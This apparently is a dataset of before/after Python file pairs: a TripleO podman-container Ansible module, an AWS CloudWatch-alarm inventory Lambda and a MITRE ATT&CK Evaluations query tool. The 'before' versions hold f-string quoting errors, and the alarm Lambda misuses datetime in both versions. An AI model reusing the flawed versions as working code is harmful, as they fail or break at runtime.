# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
__metaclass__ = type
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.parsing.convert_bool import boolean
import glob
import os
import time
import yaml
import json
from concurrent.futures import ThreadPoolExecutor
ANSIBLE_METADATA = {
'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMENTATION = """
---
module: tripleo_container_manage
author:
- "Alex Schultz (@mwhahaha)"
version_added: '2.9'
short_description: Create containers from a set of json configurations
notes: []
description:
- Generate puppet containers configs
requirements:
- None
options:
config_id:
description:
- Config id for the label
type: str
required: True
config_dir:
description:
- Path to the json container definitions
type: str
required: True
config_patterns:
description:
- Glob for configuration files
type: str
default: "*.json"
config_overrides:
description:
- Allows to override any container configuration which will take
precedence over the JSON files.
default: {}
required: False
type: dict
log_base_path:
description:
- Log base path directory
type: str
default: '/var/log/containers/stdouts'
concurrency:
description:
- Number of podman actions to run at the same time
type: int
default: 1
debug:
description:
- Enable debug
type: bool
default: False
"""
EXAMPLES = """
- name: Run containers
tripleo_container_manage
config_id: tripleo_step1
config_dir: /var/lib/tripleo-config/container-startup-config/step_1
"""
from ansible_collections.containers.podman.plugins.module_utils.podman.podman_container_lib import PodmanManager, ARGUMENTS_SPEC_CONTAINER # noqa: F402
class ExecFailure(Exception):
def __init__(self, msg, stdout=None, stderr=None):
super().__init__(msg)
self.msg = msg
self.stdout = stdout
self.stderr = stderr
def __str__(self):
return f"ERROR: {self.msg}\nstderr: {self.stderr}"
class TripleoContainerManage:
"""Notes about this module.
It will generate container config that will be consumed by the
tripleo-container-manage role that is using podman_container module.
"""
def __init__(self, module, results):
self.module = module
self.results = results
# parse args
args = self.module.params
# Set parameters
self.concurrency = args.get('concurrency', 4)
self.config_id = args.get('config_id')
self.config_dir = args.get('config_dir')
self.config_patterns = args.get('config_patterns')
self.config_overrides = args['config_overrides']
self.log_base_path = args.get('log_base_path')
self.debug = args.get('debug')
self.run()
self.module.exit_json(**self.results)
# container_config_data.py without overrides
def _get_configs(self):
configs = {}
if not os.path.exists(self.config_dir):
self.module.warn('Configuration directory does not exist '
f'{self.config_dir}')
return configs
matches = glob.glob(os.path.join(self.config_dir,
self.config_patterns))
for match in matches:
name = os.path.splitext(os.path.basename(match))[0]
with open(match, 'r') as data:
config = json.loads(data.read())
if self.debug:
self.module.debug(f'Config found for {name}: {config}')
configs.update({name: config})
# handle overrides similar to container_config_data
if self.config_overrides:
for k in self.config_overrides.keys():
if k in configs:
for mk, mv in self.config_overrides[k].items():
if self.debug:
self.module.debug(f'Override found for {k}: {mk} '
f'will be set to {mv}')
configs[k][mk] = mv
return configs
def _get_version(self):
rc, out, err = self.module.run_command(['podman', b'--version'])
if rc != 0 or not out or 'version' not in out:
self.module.fail_json(msg='Can not determine podman version')
return out.split('versio')[1].strip()
def _container_opts_defaults(self):
default = {}
opts = ARGUMENTS_SPEC_CONTAINER
for k, v in opts.items():
if 'default' in v:
default[k] = v['default']
else:
default[k] = None
return default
def _container_opts_update(self, container_opts):
opts_dict = self._container_opts_defaults()
aliases = {}
for k, v in ARGUMENTS_SPEC_CONTAINER.items():
if 'aliases' in v:
for alias in v['aliases']:
aliases[alias] = k
for k in list(container_opts):
if k in aliases:
key = aliases[k]
opts_dict[key] = container_opts[k]
container_opts.pop(k)
opts_dict.update(container_opts)
return opts_dict
def _container_opts_types(self, container_opts):
# convert data types since magic ansible option conversion doesn't
# occur here.
for k, v in container_opts.items():
if v is None:
continue
if ARGUMENTS_SPEC_CONTAINER.get(k) is None:
if self.debug:
self.module.debug(f"Container opt '{k}' is unknown")
continue
opt_type = ARGUMENTS_SPEC_CONTAINER.get(k).get('type')
if opt_type in ['raw', 'path']:
continue
if not isinstance(v, eval(opt_type)):
if isinstance(v, str) and opt_type == 'list':
container_opts[k] = [v]
elif isinstance(v, str) and opt_type == 'bool':
container_opts[k] = boolean(v)
elif isinstance(v, str) and opt_type == 'int':
container_opts[k] = int(v)
elif isinstance(v, int) and opt_type == 'str':
container_opts[k] = str(v)
else:
raise TypeError(f"Container {container_opts["name"]} "
f"option ({k}, {v}) is not "
f"type {opt_type} is {type(v)}")
return container_opts
def _list_or_dict_arg(self, data, cmd, key, arg):
"""Utility to build a command and its argument with list or dict data.
The key can be a dictionary or a list, the returned arguments will be
a list where each item is the argument name and the item data.
"""
if key not in data:
return
value = data[key]
if isinstance(value, dict):
for k, v in sorted(value.items()):
if v:
cmd.append(f'{arg}={k}={v}')
elif k:
cmd.append(f'{arg}={k}')
elif isinstance(value, list):
for v in value:
if v:
cmd.append(f'{arg}={v}')
def check_running_container(self, name, retries=10):
count = 0
running = False
while not running and count < retries:
cmd = ['podman', 'inspect', name]
rc, out, err = self.module.run_command(cmd)
if rc == 0:
data = json.loads(out)[0]
running = data.get('State', {}).get('Running', False)
if running:
return True
self.module.debug(f"{name} is not running, waiting...")
count = count + 1
time.sleep(6)
return False
def exec_container(self, name, config):
# check to see if the container we're going to exec into is running
target_container = config['command'][0]
if not self.check_running_container(target_container):
msg = f"Cannot run {name} because target container is not running {target_container}"
self.module.warn(msg)
return False
cmd = ['podman', 'exec', f"--user={config.get("user", "root")}"]
if 'privileged' in config:
cmd.append('--privileged=%s' % str(config['privileged']).lower())
self._list_or_dict_arg(config, cmd, 'environment', '--env')
cmd.extend(config['command'])
rc, out, err = self.module.run_command(cmd)
if rc != 0:
msg = f"Failure running exec '{name}'. rc={rc}, stdout={out}, stderr={err}"
self.module.warn(msg)
return False
return True
def manage_container(self, name, config):
opts = {
'name': name,
'state': "started",
'label': {
'config_id': self.config_id,
'container_name': name,
'managed_by': 'tripleo_ansible',
'config_data': config
},
'conmon_pidfile': f"/var/run/{name}.pid",
'debug': self.debug,
'log_driver': 'k8s-file',
'log_opt': {"path": f"{self.log_base_path}/{name}.log"},
}
opts.update(config)
# do horible things to convert THT format to ansible module format
if 'volumes' in opts:
opts['volume'] = opts.pop('volumes')
if 'environment' in opts:
opts['env'] = opts.pop('environment')
if 'healthcheck' in opts and isinstance(opts['healthcheck'], dict):
opts['healthcheck'] = opts['healthcheck'].get('test', None)
if 'check_interval' in opts:
opts['healthcheck_interval'] = opts.pop('check_interval')
if 'remove' in opts:
opts['rm'] = opts.pop('remove')
if 'restart' in opts:
# NOTE(mwhahaha): converation from tripleo format to podman as
# systemd handles this restart config
opts['restart'] = False
if 'stop_grace_period' in opts:
opts['stop_timeout'] = opts.pop('stop_grace_period')
success = True
try:
container_opts = self._container_opts_update(opts)
container_opts = self._container_opts_types(container_opts)
PodmanManager(self.module, container_opts).execute()
except ExecFailure as e:
print(e)
self.module.warn(str(e))
success = False
return success
def run_container(self, data):
name, config = data
action = config.get('action', 'create')
success = False
if action == 'exec':
success = self.exec_container(name, config)
else:
success = self.manage_container(name, config)
return (name, success)
def check_failures(self, results):
failed = []
for result in results:
name, res = result
if not res:
failed.append(name)
return failed
def batch_start_order(self, configs):
data = {}
for k in configs:
start_order = configs[k].get('start_order', 0)
if start_order not in data:
data[start_order] = []
data[start_order].append((k, configs.get(k)))
return data
def run(self):
configs = self._get_configs()
# sort configs by start_order
# launch containers?
data = self.batch_start_order(configs)
failed = []
def exe_fail_json(**kwargs):
raise ExecFailure(**kwargs)
# NOTE: fix because PodmanManager calls fail_json directly so we want
# to handle those all at once at the end
orig_fail = self.module.fail_json
self.module.fail_json = exe_fail_json
# loop through keys sorted
for start_order in sorted(data.keys()):
with ThreadPoolExecutor(max_workers=self.concurrency) as exc:
results = exc.map(self.run_container, data[start_order])
failed.extend(self.check_failures(results))
self.module.fail_json = orig_fail
if len(failed) > 0:
self.module.fail_json(
msg=f"Failed containers: {", ".join(failed)}")
self.results['changed'] = True
def main():
module = AnsibleModule(
argument_spec=yaml.safe_load(DOCUMENTATION)['options'],
supports_check_mode=True,
)
results = dict(
changed=False
)
TripleoContainerManage(module, results)
if __name__ == '__main__':
main()
| #!/usr/bin/python3
# Copyright 2021 Red Hat, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
__metaclass__ = type
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.parsing.convert_bool import boolean
import glob
import os
import time
import yaml
import json
from concurrent.futures import ThreadPoolExecutor
ANSIBLE_METADATA = {
'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMENTATION = """
---
module: tripleo_container_manage
author:
- "Alex Schultz (@mwhahaha)"
version_added: '2.9'
short_description: Create containers from a set of json configurations
notes: []
description:
- Generate puppet containers configs
requirements:
- None
options:
config_id:
description:
- Config id for the label
type: str
required: True
config_dir:
description:
- Path to the json container definitions
type: str
required: True
config_patterns:
description:
- Glob for configuration files
type: str
default: "*.json"
config_overrides:
description:
- Allows to override any container configuration which will take
precedence over the JSON files.
default: {}
required: False
type: dict
log_base_path:
description:
- Log base path directory
type: str
default: '/var/log/containers/stdouts'
concurrency:
description:
- Number of podman actions to run at the same time
type: int
default: 1
debug:
description:
- Enable debug
type: bool
default: False
"""
EXAMPLES = """
- name: Run containers
tripleo_container_manage
config_id: tripleo_step1
config_dir: /var/lib/tripleo-config/container-startup-config/step_1
"""
from ansible_collections.containers.podman.plugins.module_utils.podman.podman_container_lib import PodmanManager, ARGUMENTS_SPEC_CONTAINER # noqa: F402
class ExecFailure(Exception):
def __init__(self, msg, stdout=None, stderr=None):
super().__init__(msg)
self.msg = msg
self.stdout = stdout
self.stderr = stderr
def __str__(self):
return f"ERROR: {self.msg}\nstderr: {self.stderr}"
class TripleoContainerManage:
"""Notes about this module.
It will generate container config that will be consumed by the
tripleo-container-manage role that is using podman_container module.
"""
def __init__(self, module, results):
self.module = module
self.results = results
# parse args
args = self.module.params
# Set parameters
self.concurrency = args.get('concurrency', 4)
self.config_id = args.get('config_id')
self.config_dir = args.get('config_dir')
self.config_patterns = args.get('config_patterns')
self.config_overrides = args['config_overrides']
self.log_base_path = args.get('log_base_path')
self.debug = args.get('debug')
self.run()
self.module.exit_json(**self.results)
# container_config_data.py without overrides
def _get_configs(self):
configs = {}
if not os.path.exists(self.config_dir):
self.module.warn('Configuration directory does not exist '
f'{self.config_dir}')
return configs
matches = glob.glob(os.path.join(self.config_dir,
self.config_patterns))
for match in matches:
name = os.path.splitext(os.path.basename(match))[0]
with open(match, 'r') as data:
config = json.loads(data.read())
if self.debug:
self.module.debug(f'Config found for {name}: {config}')
configs.update({name: config})
# handle overrides similar to container_config_data
if self.config_overrides:
for k in self.config_overrides.keys():
if k in configs:
for mk, mv in self.config_overrides[k].items():
if self.debug:
self.module.debug(f'Override found for {k}: {mk} '
f'will be set to {mv}')
configs[k][mk] = mv
return configs
def _get_version(self):
rc, out, err = self.module.run_command(['podman', b'--version'])
if rc != 0 or not out or 'version' not in out:
self.module.fail_json(msg='Can not determine podman version')
return out.split('versio')[1].strip()
def _container_opts_defaults(self):
default = {}
opts = ARGUMENTS_SPEC_CONTAINER
for k, v in opts.items():
if 'default' in v:
default[k] = v['default']
else:
default[k] = None
return default
def _container_opts_update(self, container_opts):
opts_dict = self._container_opts_defaults()
aliases = {}
for k, v in ARGUMENTS_SPEC_CONTAINER.items():
if 'aliases' in v:
for alias in v['aliases']:
aliases[alias] = k
for k in list(container_opts):
if k in aliases:
key = aliases[k]
opts_dict[key] = container_opts[k]
container_opts.pop(k)
opts_dict.update(container_opts)
return opts_dict
def _container_opts_types(self, container_opts):
# convert data types since magic ansible option conversion doesn't
# occur here.
for k, v in container_opts.items():
if v is None:
continue
if ARGUMENTS_SPEC_CONTAINER.get(k) is None:
if self.debug:
self.module.debug(f"Container opt '{k}' is unknown")
continue
opt_type = ARGUMENTS_SPEC_CONTAINER.get(k).get('type')
if opt_type in ['raw', 'path']:
continue
if not isinstance(v, eval(opt_type)):
if isinstance(v, str) and opt_type == 'list':
container_opts[k] = [v]
elif isinstance(v, str) and opt_type == 'bool':
container_opts[k] = boolean(v)
elif isinstance(v, str) and opt_type == 'int':
container_opts[k] = int(v)
elif isinstance(v, int) and opt_type == 'str':
container_opts[k] = str(v)
else:
raise TypeError(f"Container {container_opts['name']} "
f"option ({k}, {v}) is not "
f"type {opt_type} is {type(v)}")
return container_opts
def _list_or_dict_arg(self, data, cmd, key, arg):
"""Utility to build a command and its argument with list or dict data.
The key can be a dictionary or a list, the returned arguments will be
a list where each item is the argument name and the item data.
"""
if key not in data:
return
value = data[key]
if isinstance(value, dict):
for k, v in sorted(value.items()):
if v:
cmd.append(f'{arg}={k}={v}')
elif k:
cmd.append(f'{arg}={k}')
elif isinstance(value, list):
for v in value:
if v:
cmd.append(f'{arg}={v}')
def check_running_container(self, name, retries=10):
count = 0
running = False
while not running and count < retries:
cmd = ['podman', 'inspect', name]
rc, out, err = self.module.run_command(cmd)
if rc == 0:
data = json.loads(out)[0]
running = data.get('State', {}).get('Running', False)
if running:
return True
self.module.debug(f"{name} is not running, waiting...")
count = count + 1
time.sleep(6)
return False
def exec_container(self, name, config):
# check to see if the container we're going to exec into is running
target_container = config['command'][0]
if not self.check_running_container(target_container):
msg = f"Cannot run {name} because target container is not running {target_container}"
self.module.warn(msg)
return False
cmd = ['podman', 'exec', f"--user={config.get('user', 'root')}"]
if 'privileged' in config:
cmd.append('--privileged=%s' % str(config['privileged']).lower())
self._list_or_dict_arg(config, cmd, 'environment', '--env')
cmd.extend(config['command'])
rc, out, err = self.module.run_command(cmd)
if rc != 0:
msg = f"Failure running exec '{name}'. rc={rc}, stdout={out}, stderr={err}"
self.module.warn(msg)
return False
return True
def manage_container(self, name, config):
opts = {
'name': name,
'state': "started",
'label': {
'config_id': self.config_id,
'container_name': name,
'managed_by': 'tripleo_ansible',
'config_data': config
},
'conmon_pidfile': f"/var/run/{name}.pid",
'debug': self.debug,
'log_driver': 'k8s-file',
'log_opt': {"path": f"{self.log_base_path}/{name}.log"},
}
opts.update(config)
# do horible things to convert THT format to ansible module format
if 'volumes' in opts:
opts['volume'] = opts.pop('volumes')
if 'environment' in opts:
opts['env'] = opts.pop('environment')
if 'healthcheck' in opts and isinstance(opts['healthcheck'], dict):
opts['healthcheck'] = opts['healthcheck'].get('test', None)
if 'check_interval' in opts:
opts['healthcheck_interval'] = opts.pop('check_interval')
if 'remove' in opts:
opts['rm'] = opts.pop('remove')
if 'restart' in opts:
# NOTE(mwhahaha): converation from tripleo format to podman as
# systemd handles this restart config
opts['restart'] = False
if 'stop_grace_period' in opts:
opts['stop_timeout'] = opts.pop('stop_grace_period')
success = True
try:
container_opts = self._container_opts_update(opts)
container_opts = self._container_opts_types(container_opts)
PodmanManager(self.module, container_opts).execute()
except ExecFailure as e:
print(e)
self.module.warn(str(e))
success = False
return success
def run_container(self, data):
name, config = data
action = config.get('action', 'create')
success = False
if action == 'exec':
success = self.exec_container(name, config)
else:
success = self.manage_container(name, config)
return (name, success)
def check_failures(self, results):
failed = []
for result in results:
name, res = result
if not res:
failed.append(name)
return failed
def batch_start_order(self, configs):
data = {}
for k in configs:
start_order = configs[k].get('start_order', 0)
if start_order not in data:
data[start_order] = []
data[start_order].append((k, configs.get(k)))
return data
def run(self):
configs = self._get_configs()
# sort configs by start_order
# launch containers?
data = self.batch_start_order(configs)
failed = []
def exe_fail_json(**kwargs):
raise ExecFailure(**kwargs)
# NOTE: fix because PodmanManager calls fail_json directly so we want
# to handle those all at once at the end
orig_fail = self.module.fail_json
self.module.fail_json = exe_fail_json
# loop through keys sorted
for start_order in sorted(data.keys()):
with ThreadPoolExecutor(max_workers=self.concurrency) as exc:
results = exc.map(self.run_container, data[start_order])
failed.extend(self.check_failures(results))
self.module.fail_json = orig_fail
if len(failed) > 0:
self.module.fail_json(
msg=f"Failed containers: {', '.join(failed)}")
self.results['changed'] = True
def main():
module = AnsibleModule(
argument_spec=yaml.safe_load(DOCUMENTATION)['options'],
supports_check_mode=True,
)
results = dict(
changed=False
)
TripleoContainerManage(module, results)
if __name__ == '__main__':
main()
|
import boto3
from botocore.exceptions import ClientError
import json
import os
import time
from datetime import datetime, timezone
from dateutil import tz
from antiope.aws_account import *
from common import *
import logging
logger = logging.getLogger()
logger.setLevel(getattr(logging, os.getenv('LOG_LEVEL', default='INFO')))
logging.getLogger('botocore').setLevel(logging.WARNING)
logging.getLogger('boto3').setLevel(logging.WARNING)
logging.getLogger('urllib3').setLevel(logging.WARNING)
METRIC_PATH = "cloudwatch/alarm"
COMPOSITE_PATH = "cloudwatch/composite_alarm"
def lambda_handler(event, context):
logger.debug("Received event: " + json.dumps(event, sort_keys=True))
message = json.loads(event['Records'][0]['Sns']['Message'])
logger.info("Received message: " + json.dumps(message, sort_keys=True))
try:
target_account = AWSAccount(message['account_id'])
for r in target_account.get_regions():
try:
discover_alarms(target_account, r)
except ClientError as e:
# Move onto next region if we get access denied. This is probably SCPs
if e.response['Error']['Code'] == 'AccessDeniedException':
logger.error(f"AccessDeniedException for region {r} in function {context.function_name} for {target_account.account_name}({target_account.account_id})")
continue
else:
raise # pass on to the next handlier
except AntiopeAssumeRoleError as e:
logger.error("Unable to assume role into account {}({})".format(target_account.account_name, target_account.account_id))
return()
except ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
logger.error("Antiope doesn't have proper permissions to this account")
return(event)
logger.critical("AWS Error getting info for {}: {}".format(message['account_id'], e))
capture_error(message, context, e, "ClientError for {}: {}".format(message['account_id'], e))
raise
except Exception as e:
logger.critical("{}\nMessage: {}\nContext: {}".format(e, message, vars(context)))
capture_error(message, context, e, "General Exception for {}: {}".format(message['account_id'], e))
raise
def discover_alarms(target_account, region):
'''Find and process all the CloudWatch Alarms in ALARM State'''
metric_alarms = []
composite_alarms = []
client = target_account.get_client('cloudwatch', region=region)
response = client.describe_alarms(StateValue='ALARM')
while 'NextToken' in response: # Gotta Catch 'em all!
metric_alarms += response['MetricAlarms']
composite_alarms += response['CompositeAlarms']
response = client.describe_alarms(StateValue='ALARM', NextToken=response['NextToken'])
metric_alarms += response['MetricAlarms']
composite_alarms += response['CompositeAlarms']
logger.debug(f"Discovered {len(metric_alarms)} Alarms in {target_account.account_name}")
logger.debug(f"Discovered {len(composite_alarms)} CompositeAlarms in {target_account.account_name}")
for a in metric_alarms:
resource_item = {}
resource_item['awsAccountId'] = target_account.account_id
resource_item['awsAccountName'] = target_account.account_name
resource_item['resourceType'] = "AWS::CloudWatch::Alarm"
resource_item['source'] = "Antiope"
resource_item['configurationItemCaptureTime'] = str(datetime.datetime.now())
resource_item['awsRegion'] = region
resource_item['configuration'] = a
resource_item['supplementaryConfiguration'] = {}
resource_item['resourceId'] = f"{a["AlarmName"]}-{target_account.account_id}-{region}"
resource_item['resourceName'] = a['AlarmName']
resource_item['ARN'] = a['AlarmArn']
resource_item['errors'] = {}
save_resource_to_s3(METRIC_PATH, resource_item['resourceId'], resource_item)
for a in composite_alarms:
resource_item = {}
resource_item['awsAccountId'] = target_account.account_id
resource_item['awsAccountName'] = target_account.account_name
resource_item['resourceType'] = "AWS::CloudWatch::CompositeAlarm"
resource_item['source'] = "Antiope"
resource_item['configurationItemCaptureTime'] = str(datetime.datetime.now())
resource_item['awsRegion'] = region
resource_item['configuration'] = a
resource_item['supplementaryConfiguration'] = {}
resource_item['resourceId'] = f"{a["AlarmName"]}-{target_account.account_id}-{region}"
resource_item['resourceName'] = a['AlarmName']
resource_item['ARN'] = a['AlarmArn']
resource_item['errors'] = {}
save_resource_to_s3(COMPOSITE_PATH, resource_item['resourceId'], resource_item)
| import boto3
from botocore.exceptions import ClientError
import json
import os
import time
from datetime import datetime, timezone
from dateutil import tz
from antiope.aws_account import *
from common import *
import logging
logger = logging.getLogger()
logger.setLevel(getattr(logging, os.getenv('LOG_LEVEL', default='INFO')))
logging.getLogger('botocore').setLevel(logging.WARNING)
logging.getLogger('boto3').setLevel(logging.WARNING)
logging.getLogger('urllib3').setLevel(logging.WARNING)
METRIC_PATH = "cloudwatch/alarm"
COMPOSITE_PATH = "cloudwatch/composite_alarm"
def lambda_handler(event, context):
logger.debug("Received event: " + json.dumps(event, sort_keys=True))
message = json.loads(event['Records'][0]['Sns']['Message'])
logger.info("Received message: " + json.dumps(message, sort_keys=True))
try:
target_account = AWSAccount(message['account_id'])
for r in target_account.get_regions():
try:
discover_alarms(target_account, r)
except ClientError as e:
# Move onto next region if we get access denied. This is probably SCPs
if e.response['Error']['Code'] == 'AccessDeniedException':
logger.error(f"AccessDeniedException for region {r} in function {context.function_name} for {target_account.account_name}({target_account.account_id})")
continue
else:
raise # pass on to the next handlier
except AntiopeAssumeRoleError as e:
logger.error("Unable to assume role into account {}({})".format(target_account.account_name, target_account.account_id))
return()
except ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
logger.error("Antiope doesn't have proper permissions to this account")
return(event)
logger.critical("AWS Error getting info for {}: {}".format(message['account_id'], e))
capture_error(message, context, e, "ClientError for {}: {}".format(message['account_id'], e))
raise
except Exception as e:
logger.critical("{}\nMessage: {}\nContext: {}".format(e, message, vars(context)))
capture_error(message, context, e, "General Exception for {}: {}".format(message['account_id'], e))
raise
def discover_alarms(target_account, region):
'''Find and process all the CloudWatch Alarms in ALARM State'''
metric_alarms = []
composite_alarms = []
client = target_account.get_client('cloudwatch', region=region)
response = client.describe_alarms(StateValue='ALARM')
while 'NextToken' in response: # Gotta Catch 'em all!
metric_alarms += response['MetricAlarms']
composite_alarms += response['CompositeAlarms']
response = client.describe_alarms(StateValue='ALARM', NextToken=response['NextToken'])
metric_alarms += response['MetricAlarms']
composite_alarms += response['CompositeAlarms']
logger.debug(f"Discovered {len(metric_alarms)} Alarms in {target_account.account_name}")
logger.debug(f"Discovered {len(composite_alarms)} CompositeAlarms in {target_account.account_name}")
for a in metric_alarms:
resource_item = {}
resource_item['awsAccountId'] = target_account.account_id
resource_item['awsAccountName'] = target_account.account_name
resource_item['resourceType'] = "AWS::CloudWatch::Alarm"
resource_item['source'] = "Antiope"
resource_item['configurationItemCaptureTime'] = str(datetime.datetime.now())
resource_item['awsRegion'] = region
resource_item['configuration'] = a
resource_item['supplementaryConfiguration'] = {}
resource_item['resourceId'] = f"{a['AlarmName']}-{target_account.account_id}-{region}"
resource_item['resourceName'] = a['AlarmName']
resource_item['ARN'] = a['AlarmArn']
resource_item['errors'] = {}
save_resource_to_s3(METRIC_PATH, resource_item['resourceId'], resource_item)
for a in composite_alarms:
resource_item = {}
resource_item['awsAccountId'] = target_account.account_id
resource_item['awsAccountName'] = target_account.account_name
resource_item['resourceType'] = "AWS::CloudWatch::CompositeAlarm"
resource_item['source'] = "Antiope"
resource_item['configurationItemCaptureTime'] = str(datetime.datetime.now())
resource_item['awsRegion'] = region
resource_item['configuration'] = a
resource_item['supplementaryConfiguration'] = {}
resource_item['resourceId'] = f"{a['AlarmName']}-{target_account.account_id}-{region}"
resource_item['resourceName'] = a['AlarmName']
resource_item['ARN'] = a['AlarmArn']
resource_item['errors'] = {}
save_resource_to_s3(COMPOSITE_PATH, resource_item['resourceId'], resource_item)
|
import json
import glob
import os
import argparse
import sys
import re
class QueryAttackEval:
def __init__(self, args):
self.args = args
# this line is only to protect the object and should never trigger if running from this script
assert(self.args.technique or self.args.procedure or self.args.search)
def get_technique(self, technique_id):
print(f'{self.filename}')
technique = self.data[technique_id]
name = technique['TechniqueName']
print(f' {technique_id}: {name}')
for step_id, step in technique['Steps'].items():
if not len(step["Procedure"]):
continue
print(f' {step_id}) {step['Procedure']}')
for detection in step['DetectionCategories']:
for k,v in detection.items():
k = k.strip()
if len(k):
print(f' {k}')
return
def get_procedure(self, procedure_id):
found_proc = False
print(f'{self.filename}')
for technique_id, technique in self.data.items():
if technique_id == 'PublicRelease':
continue
if procedure_id in technique['Steps']:
step = technique['Steps'][procedure_id]
if not len(step["Procedure"]):
continue
if not found_proc:
print(f' {procedure_id}) {step['Procedure']}')
found_proc = True
print(f' {technique_id}: {technique['TechniqueName']}')
for detection in step['DetectionCategories']:
for k,v in detection.items():
k = k.strip()
if len(k):
print(f' {k}')
return
def search_eval(self, substring):
techniques = []
procedures = []
detections = []
notes = []
for technique_id, technique in self.data.items():
if technique_id == 'PublicRelease':
continue
if self.args.technique and not technique_id == self.args.technique:
continue
if re.search(substring, technique['TechniqueName'], re.IGNORECASE):
techniques.append(f'{technique_id}:\t{technique['TechniqueName']}')
for step_id, step in technique['Steps'].items():
if self.args.procedure and not step_id == self.args.procedure:
continue
if re.search(substring, step['Procedure'], re.IGNORECASE):
procedures.append('{:20}{}'.format(f'{step_id}:{technique_id})',step["Procedure"]))
for detection in step['DetectionCategories']:
for k,v in detection.items():
if re.search(substring, k, re.IGNORECASE):
detections.append('{:20}{}'.format(f'{step_id:}:{technique_id})', k))
if re.search(substring, v, re.IGNORECASE):
notes.append('{:20}{}\t{}'.format(f'{step_id}:{technique_id})', k, v))
if len(techniques) or len(procedures) or len(detections) or len(notes):
print(f'{self.filename}')
if len(techniques):
print('\n Techniques\n ----------')
for technique in techniques:
print(f' {technique}')
if len(procedures):
print('\n Procedures\n ----------')
for procedure in procedures:
print(f' {procedure}')
if len(detections):
print('\n Detections\n ----------')
for detection in detections:
print(f' {detection}')
if len(notes):
print('\n Detection Notes\n ---------------')
for note in notes:
print(f' {note}')
return
def run(self, infile):
if not re.search(args.vendor, infile, re.IGNORECASE):
return
else:
self.filename = infile
with open(self.filename) as json_data:
self.data = json.load(json_data)
if self.args.search:
self.search_eval(self.args.search)
elif self.args.technique:
self.get_technique(self.args.technique.upper())
elif args.procedure:
self.get_procedure(self.args.procedure.upper())
def parse_args():
parser = argparse.ArgumentParser(
description='Query utility for the MITRE ATT&CK Evaluations'
)
parser.add_argument(
'-t',
'--technique',
type=str,
help='Query based on the supplied ATT&CK Technique (example: $ python query_attack.py -t T1043)',
default=False
)
parser.add_argument(
'-p',
'--procedure',
type=str,
help='Query based on the supplied Step/Procedure (example: $ python query_attack.py -p 1.A.1)',
default=False
)
parser.add_argument(
'-s',
'--search',
type=str,
help='Query all descriptions for the supplied substring (example: $ python query_attack.py -s ipconfig)',
default=False
)
parser.add_argument(
'vendor',
type=str,
nargs='?',
help='Optional argument to allow you to filter down to a particular vendor (example: $ python query_attack.py -s tainted countertack)',
default='.'
)
args = parser.parse_args()
if not (args.technique or args.procedure or args.search):
parser.print_help()
return False
return args
if __name__ == '__main__':
args = parse_args()
if args:
attack = QueryAttackEval(args)
for infile in glob.glob(os.path.join('./data/', '*json')):
attack.run(infile)
| import json
import glob
import os
import argparse
import sys
import re
class QueryAttackEval:
def __init__(self, args):
self.args = args
# this line is only to protect the object and should never trigger if running from this script
assert(self.args.technique or self.args.procedure or self.args.search)
def get_technique(self, technique_id):
print(f'{self.filename}')
technique = self.data[technique_id]
name = technique['TechniqueName']
print(f' {technique_id}: {name}')
for step_id, step in technique['Steps'].items():
if not len(step["Procedure"]):
continue
print(f' {step_id}) {step["Procedure"]}')
for detection in step['DetectionCategories']:
for k,v in detection.items():
k = k.strip()
if len(k):
print(f' {k}')
return
def get_procedure(self, procedure_id):
found_proc = False
print(f'{self.filename}')
for technique_id, technique in self.data.items():
if technique_id == 'PublicRelease':
continue
if procedure_id in technique['Steps']:
step = technique['Steps'][procedure_id]
if not len(step["Procedure"]):
continue
if not found_proc:
print(f' {procedure_id}) {step["Procedure"]}')
found_proc = True
print(f' {technique_id}: {technique["TechniqueName"]}')
for detection in step['DetectionCategories']:
for k,v in detection.items():
k = k.strip()
if len(k):
print(f' {k}')
return
def search_eval(self, substring):
techniques = []
procedures = []
detections = []
notes = []
for technique_id, technique in self.data.items():
if technique_id == 'PublicRelease':
continue
if self.args.technique and not technique_id == self.args.technique:
continue
if re.search(substring, technique['TechniqueName'], re.IGNORECASE):
techniques.append(f'{technique_id}:\t{technique["TechniqueName"]}')
for step_id, step in technique['Steps'].items():
if self.args.procedure and not step_id == self.args.procedure:
continue
if re.search(substring, step['Procedure'], re.IGNORECASE):
procedures.append('{:20}{}'.format(f'{step_id}:{technique_id})',step["Procedure"]))
for detection in step['DetectionCategories']:
for k,v in detection.items():
if re.search(substring, k, re.IGNORECASE):
detections.append('{:20}{}'.format(f'{step_id:}:{technique_id})', k))
if re.search(substring, v, re.IGNORECASE):
notes.append('{:20}{}\t{}'.format(f'{step_id}:{technique_id})', k, v))
if len(techniques) or len(procedures) or len(detections) or len(notes):
print(f'{self.filename}')
if len(techniques):
print('\n Techniques\n ----------')
for technique in techniques:
print(f' {technique}')
if len(procedures):
print('\n Procedures\n ----------')
for procedure in procedures:
print(f' {procedure}')
if len(detections):
print('\n Detections\n ----------')
for detection in detections:
print(f' {detection}')
if len(notes):
print('\n Detection Notes\n ---------------')
for note in notes:
print(f' {note}')
return
def run(self, infile):
if not re.search(args.vendor, infile, re.IGNORECASE):
return
else:
self.filename = infile
with open(self.filename) as json_data:
self.data = json.load(json_data)
if self.args.search:
self.search_eval(self.args.search)
elif self.args.technique:
self.get_technique(self.args.technique.upper())
elif args.procedure:
self.get_procedure(self.args.procedure.upper())
def parse_args():
parser = argparse.ArgumentParser(
description='Query utility for the MITRE ATT&CK Evaluations'
)
parser.add_argument(
'-t',
'--technique',
type=str,
help='Query based on the supplied ATT&CK Technique (example: $ python query_attack.py -t T1043)',
default=False
)
parser.add_argument(
'-p',
'--procedure',
type=str,
